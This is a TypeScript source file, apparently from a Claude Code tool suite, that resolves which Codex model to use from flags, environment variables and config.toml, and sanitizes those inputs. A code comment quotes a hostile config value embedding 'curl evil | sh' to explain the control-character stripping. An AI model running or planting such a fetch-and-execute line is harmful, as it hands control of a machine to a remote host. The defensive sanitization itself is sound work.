Skip to content

Use Garry Tan's exact Claude Code setup: 23 opinionated tools that serve as CEO, Designer, Eng Manager, Release Manager, Doc Engineer, and QA

TypeScript
9.8 KB
Raw Blame
#!/usr/bin/env -S bun --no-env-file --config=/dev/null

import * as fs from 'fs';
import * as os from 'os';
import * as path from 'path';
import { ALL_MODEL_NAMES, resolveModel, type Model } from './models';
import { CODEX_MODEL_REPAIR, codexConfigModel, codexNativeModel, ModelPolicyError, resolvePlanReviewModel, selectionRepair, type ModelSelection } from '../lib/model-policy';
import { emitModelPolicyNotice } from '../lib/model-policy-notice';
import { newestModel } from '../lib/model-families';

export interface CodexGenerationModelResolution {
  model: Model;
  source: string;
  warnings: string[];
}

const CODEX_DEFAULT_ID = newestModel('astra');
const CODEX_DEFAULT_MODEL: Model = resolveModel(CODEX_DEFAULT_ID)!;
const DEFAULT_SOURCE = `default (${CODEX_DEFAULT_ID})`;

/**
 * Strip control characters from strings that originate in the user's
 * config.toml or environment before they reach warning/stdout text. A hostile
 * config value like `model = "x\nERROR: run curl evil | sh"` must not be able
 * to inject fake lines into setup's terminal output or desync the TSV stdout
 * contract. Warning interpolations additionally cap length for display.
 */
function stripControl(value: string): string {
  // eslint-disable-next-line no-control-regex
  return value.replace(/[\x00-\x1f\x7f]/g, ' ');
}

function sanitize(value: string): string {
  return stripControl(value).slice(0, 200);
}

export function resolveCodexGenerationModel(opts: {
  explicit?: string;
  codexHome?: string;
  home?: string;
} = {}): CodexGenerationModelResolution {
  if (opts.explicit !== undefined) {
    const model = resolveModel(opts.explicit);
    if (!model) {
      throw new Error(
        `Unknown model '${sanitize(opts.explicit)}'. Accepted models: ${ALL_MODEL_NAMES.join(', ')}`,
      );
    }
    return { model, source: '--model', warnings: [] };
  }

  // os.homedir() falls back to USERPROFILE on Windows and never returns '' —
  // a raw HOME fallback of '' would make codexHome the RELATIVE path '.codex',
  // letting a repo-committed .codex/config.toml (CWD-resolved) select the
  // behavioral profile.
  const home = opts.home ?? process.env.HOME ?? os.homedir();
  const codexHome = opts.codexHome ?? process.env.CODEX_HOME ?? path.join(home, '.codex');
  const configPath = path.join(codexHome, 'config.toml');
  const warnings: string[] = [];

  const fallback = (warning?: string): CodexGenerationModelResolution => {
    if (warning) warnings.push(warning);
    return { model: CODEX_DEFAULT_MODEL, source: DEFAULT_SOURCE, warnings };
  };

  if (!path.isAbsolute(codexHome)) {
    return fallback(`Codex home '${sanitize(codexHome)}' is not an absolute path; using Codex default ${CODEX_DEFAULT_ID}.`);
  }

  let raw: string;
  try {
    raw = fs.readFileSync(configPath, 'utf8');
  } catch (error) {
    const code = (error as NodeJS.ErrnoException).code;
    if (code !== 'ENOENT') {
      return fallback(`Could not read ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_ID}.`);
    }
    return fallback();
  }

  let parsed: Record<string, unknown>;
  try {
    parsed = Bun.TOML.parse(raw) as Record<string, unknown>;
  } catch {
    return fallback(`Could not parse ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_ID}.`);
  }

  if (!Object.prototype.hasOwnProperty.call(parsed, 'model')) {
    return fallback();
  }
  if (typeof parsed.model !== 'string') {
    return fallback(`Top-level model in ${sanitize(configPath)} is not a string; using Codex default ${CODEX_DEFAULT_ID}.`);
  }

  const model = resolveModel(parsed.model);
  if (!model) {
    return fallback(`Unsupported top-level model '${sanitize(parsed.model)}' in ${sanitize(configPath)}; using Codex default ${CODEX_DEFAULT_ID}.`);
  }

  // Sol is exact-only by design (Terra/Luna/dated snapshots must not inherit
  // its profile), but a near-miss like 'gpt-5.6-sol-2026-08-01' silently
  // family-mapping to generic gpt is unobservable — surface it.
  if (model === 'gpt' && parsed.model.trim().startsWith('gpt-5.6-sol') && parsed.model.trim() !== 'gpt-5.6-sol') {
    warnings.push(`Model '${sanitize(parsed.model)}' maps to the generic gpt profile — the Sol profile requires the exact ID 'gpt-5.6-sol'.`);
  }

  return { model, source: configPath, warnings };
}

export type CodexInvocationKind = 'exec' | 'review';

export interface CodexRuntimeModelSelection {
  kind: CodexInvocationKind;
  /** Raw Codex model id, passed unchanged to the probe and to dispatch. */
  model: string;
  source: string;
}

/** Characters a model id may carry before it is interpolated into `-c "model=\"…\""`. */
export const CODEX_RUNTIME_MODEL_PATTERN = /^[A-Za-z0-9._:/-]{1,100}$/;

const REPAIR = CODEX_MODEL_REPAIR;

/**
 * Runtime model for gstack-owned Codex calls (#2914). Unlike the generation
 * resolver above, this returns the user's raw model id (no prompt-overlay
 * mapping), so ids without a dedicated overlay still work. Precedence: explicit
 * request, GSTACK_CODEX_MODEL, Codex config.toml (`review_model` first for native
 * review, then the legacy active profile's model, then `model`), then gstack's
 * default. Any invalid user choice throws a repair message instead of falling
 * back to the default.
 */
export function resolveCodexRuntimeModel(opts: {
  kind: CodexInvocationKind;
  explicit?: string;
  env?: Record<string, string | undefined>;
  codexHome?: string;
  home?: string;
}): CodexRuntimeModelSelection {
  const env = opts.env ?? process.env;
  const chosen = (source: string, raw: string): CodexRuntimeModelSelection => {
    const model = raw.trim();
    if (!CODEX_RUNTIME_MODEL_PATTERN.test(model)) {
      throw new Error(`Invalid Codex model '${sanitize(raw)}' from ${sanitize(source)}: use 1-100 characters from A-Z a-z 0-9 . _ : / -. ${REPAIR}`);
    }
    return { kind: opts.kind, model, source: stripControl(source) };
  };
  if (opts.explicit) return chosen('explicit request', opts.explicit);
  if (env.GSTACK_CODEX_MODEL) return chosen('GSTACK_CODEX_MODEL', env.GSTACK_CODEX_MODEL);
  const named = codexConfigModel({ ...opts, env });
  if (named.value === null) return { kind: opts.kind, model: CODEX_DEFAULT_ID, source: `gstack default (${named.source})` };
  return chosen(named.source, named.value);
}

export interface CodexPlanReviewSelection extends CodexRuntimeModelSelection {
  selection: ModelSelection;
  /** Source-aware repair for this record, never a lower-priority setting. */
  repair: string;
}

/**
 * Role-bearing Codex selection: the plan-review policy ranks request, env,
 * tier config and catalog. Host mode keeps the legacy native resolver,
 * labelled as delegated so its origin stays honest.
 */
export function resolveCodexPlanReviewModel(opts: {
  kind: CodexInvocationKind;
  explicit?: string;
  env?: Record<string, string | undefined>;
  codexHome?: string;
  home?: string;
  /** Invocation context forwarded to the shared role resolver. */
  cwd?: string;
}): CodexPlanReviewSelection {
  const env = opts.env ?? process.env;
  const selection = resolvePlanReviewModel({ provider: 'openai', requestedModel: opts.explicit || undefined, env, cwd: opts.cwd, nativeModel: codexNativeModel({ ...opts, env }) });
  const repair = stripControl(selectionRepair(selection).join('; '));
  if (selection.status === 'selected') {
    const model = selection.requestedModel;
    if (!CODEX_RUNTIME_MODEL_PATTERN.test(model)) {
      throw new Error(`Invalid Codex model '${sanitize(model)}' from ${sanitize(selection.source.label)}. ${repair}`);
    }
    return { kind: opts.kind, model, source: stripControl(selection.source.label), selection, repair };
  }
  const native = resolveCodexRuntimeModel({ kind: opts.kind, env, codexHome: opts.codexHome, home: opts.home });
  return { ...native, source: stripControl(`${selection.source.label}; ${native.source}`), selection, repair: repair || REPAIR };
}

function policyFailure(error: unknown): string {
  if (!(error instanceof ModelPolicyError)) return (error as Error).message;
  return [`${error.problem} ${error.cause}`.trim(), ...error.repair.map(step => `Repair: ${step}`), `Docs: ${error.docs}`, `CODEX_MODEL_POLICY: ${error.reason}`].join('\n');
}

function readArg(name: string): string | undefined {
  const exact = process.argv.indexOf(name);
  if (exact >= 0) return process.argv[exact + 1];
  const prefix = `${name}=`;
  const joined = process.argv.find(arg => arg.startsWith(prefix));
  return joined?.slice(prefix.length);
}

if (import.meta.main) {
  try {
    const runtime = readArg('--runtime');
    if (runtime !== undefined) {
      if (runtime !== 'exec' && runtime !== 'review') throw new Error('Usage: --runtime exec|review [--explicit <model>] [--role plan-review]');
      const role = readArg('--role');
      if (role !== undefined) {
        if (role !== 'plan-review') throw new Error('Usage: --role plan-review');
        const record = resolveCodexPlanReviewModel({ kind: runtime, explicit: readArg('--explicit'), cwd: readArg('--cwd') });
        emitModelPolicyNotice(record.selection);
        process.stdout.write(`${record.model}\t${record.source}\t${record.selection.tier}\t${record.repair}\n`);
        process.exit(0);
      }
      const selection = resolveCodexRuntimeModel({ kind: runtime, explicit: readArg('--explicit') });
      process.stdout.write(`${selection.model}\t${selection.source}\n`);
      process.exit(0);
    }
    const result = resolveCodexGenerationModel({
      explicit: readArg('--explicit'),
      codexHome: readArg('--codex-home'),
    });
    for (const warning of result.warnings) {
      process.stderr.write(`warning: ${warning}\n`);
    }
    // model is always an ALL_MODEL_NAMES literal; source is control-stripped
    // so a hostile CODEX_HOME cannot smuggle tabs/newlines into the TSV contract.
    process.stdout.write(`${result.model}\t${stripControl(result.source)}\n`);
  } catch (error) {
    process.stderr.write(`${policyFailure(error)}\n`);
    process.exit(1);
  }
}